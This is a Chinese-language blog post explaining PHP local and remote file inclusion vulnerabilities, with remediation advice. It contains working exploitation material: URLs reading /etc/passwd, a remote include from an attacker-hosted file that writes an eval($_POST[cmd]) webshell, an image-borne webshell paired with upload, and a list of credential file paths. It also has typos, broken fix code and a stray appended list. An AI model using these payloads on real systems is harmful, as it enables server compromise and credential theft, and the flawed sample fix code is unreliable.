文件包含漏洞原理&利用

一、原理和危害(主要原因是过滤不严)

文件包含漏洞:即 file inclusion,意思是文件包含,是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数(include(), require()和include_once(), requir_once())利用URL去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞:

(1)本地文件包含漏洞

当被包含的文件在服务器本太低时,就形成的本地文件包含漏洞。

%00截断

http://xxx/1.php?filename=../../../../../../boot.ini

条件:magic_quotes_goc=off 且 PHP版本<5.3.4

路径长度截断

条件: windows OS,点号需要长于256; linux OS长于4096

(1)Windows下目录最大长度为256字节,超出的部分会被丢弃。

(2)Linux下目录最大长度为4096字节,超出的部分会被丢弃。

PHP伪协议

PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册自定义的封装协议。

常见的php伪协议有:

协议 用途
file:// 访问本地文件系统
http:// 访问HTTP(s)网址
ftp:// 访问FTP(s)URLs
php:// 访问各个输入/输出流(I/Ostreams)
php://stdin 代表标准输入流。
php://stdout 代表标准输出流。
php://stderr 代表标准错误流。
php://input 代表HTTP请求正文的输入流。
php://output 代表访问客户端的输出流。
php://memory 代表可读写的内存流。
php://temp 代表可读写的临时流。
php://filter 代表用于过滤数据的流、通常与过滤器函数一起使用。

(2)远程文件包含漏洞

本地文件包含(LFI)和远程文件包含(RFI)的漏洞原理类似,都是由于对用户输入的文件路径未进行严格校验,从而允许攻击者利用文件包含功能加载未经授权的文件。

当 PHP 配置中的选项 allow_url_fopen 和 allow_url_include 被设置为 ON 时,PHP 可以将远程服务器上的文件作为输入资源处理,这可能导致远程文件包含漏洞(RFI)。

二、文件包含函数(PHP)

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

三、漏洞利用

读取敏感文件

访问URL: http://xxxx/index.php?page=/etc/passwd 如果目标主机文件存在,并千且有相应的权限,那么就可以读出文件的内容。反之,就会得到一个类似于:open_basedir restriction in effect的警告。

远程包含shell

(1)如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如: http://xxx/echo.txt

(2)代码如下:<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[cmd]); ?>");?>

访问:http://xx/index.php?page=http://xxx/echo.txt 。将会在index.php所在的目录下生成shell.php,内容达:<?php eval($_POST[cmd]);?>

本地包含配合文件上传

(1)假设已经上传一句话图片木马到服务器,路径为:/uploadfile/xxx.jpg

(2)图片代码如下: <?php fputs(fopen("shell.php" ,"w"),"<?php eval($_POST[cmd]); ?>");?>

(3)访问URL: http://xxx/index.php?page=./uplo:adfile/xxx.jpg, 包含这张图片,将会在index.php所在的目录下生成shell.php。

四、漏洞修复

1、严格检查变量是否已经初始化。

2、建议假定所有输入都是可疑的,尝试对所有输入可能包含的文件地址,包括服务器本地文件以及远程文件,进行严格的检查,参数中不允许出现.../之类的目录跳转符。

3、严格检查include内的文件包含函数中的参数是否外界可控。不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务器端进行。

4、在发布应用程序之前测试所有已知的威胁。

5、关闭php.ini的allow_url_fopen、allow_url_include。

修复代码

完全过滤

<?php
$allowedFiles = array("include.php", "file1.php", "file2.php", "file3.php");
$file = $_GET['page'];
if (!in_array($file, $allowedFiles)) {
	echo "ERROR: File not found!";
	exit;
}
?>

部分过滤

<?php
$file = $_GET['page'];
$file = str_replace(array("http://", "https://"), "", $file);
$file = str_replace(array("../", "..\), "", $file);
?>

五、敏感路径

Windows系统

c:\boot.ini //查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml //lIS配置文件

c:\windows\repair\sam //存储Windows系统初次安装的密码

c:\ProgramFiles\mysqImy.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码

c:\windows\php.ini //php 配置信息

Linux/Unix系统

/etc/passwd //账户信息

/etc/shadow //账户密码文件

/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP相关配置

/etc/httpd/conf/httpd.conf //Apache配置文件

/etc/my.conf //mysql配置文件

5、zlib:// # 压缩流
6、data:// # 数据(RFC 2397)
7、glob:// # 查找匹配的文件路径模式
8、phar:// # PHP归档
9、ssh2:// # Secure Shell 2
10、rar:// # RAR
11、ogg:// # 音频流
12、expect:// # 处理交互式的流

posted @ 2025-12-02 09:21  shinianyunyan  阅读(70)  评论(0)    收藏  举报